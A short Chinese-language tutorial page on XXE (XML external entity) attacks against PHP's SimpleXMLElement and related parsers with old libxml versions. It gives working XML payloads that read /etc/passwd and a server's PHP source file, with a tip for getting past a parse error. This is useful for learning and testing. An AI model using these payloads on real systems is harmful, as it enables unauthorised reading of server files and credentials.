SimpleXMLElement

参考

利用范围

  • (libxml<2.9.0, PHP 5, PHP 7)

libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。

介绍

除了SimpleXMLElement类可以进行XXE攻击,现在知道的有如下类和函数

SimpleXMLElementDOMDocumentsimplexml_load_string

前置知识

测试

post发包并添加http头:

  • Content-Type: text/xml

payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///var/www/html/dom.php" >]>
<root>
<name>&xxe;</name>
</root>

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE a [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

在获取dom.php文件时,最开始会报错 DOMDocument::loadXML(): ParsePI: PI php never end ... in file:///var/www/html/dom.php, line: 7 in 这是因为xml把<?php识别为标签的开始,但是并没有出现标签的结束?>,加上就好了。

results matching ""

    No results matching ""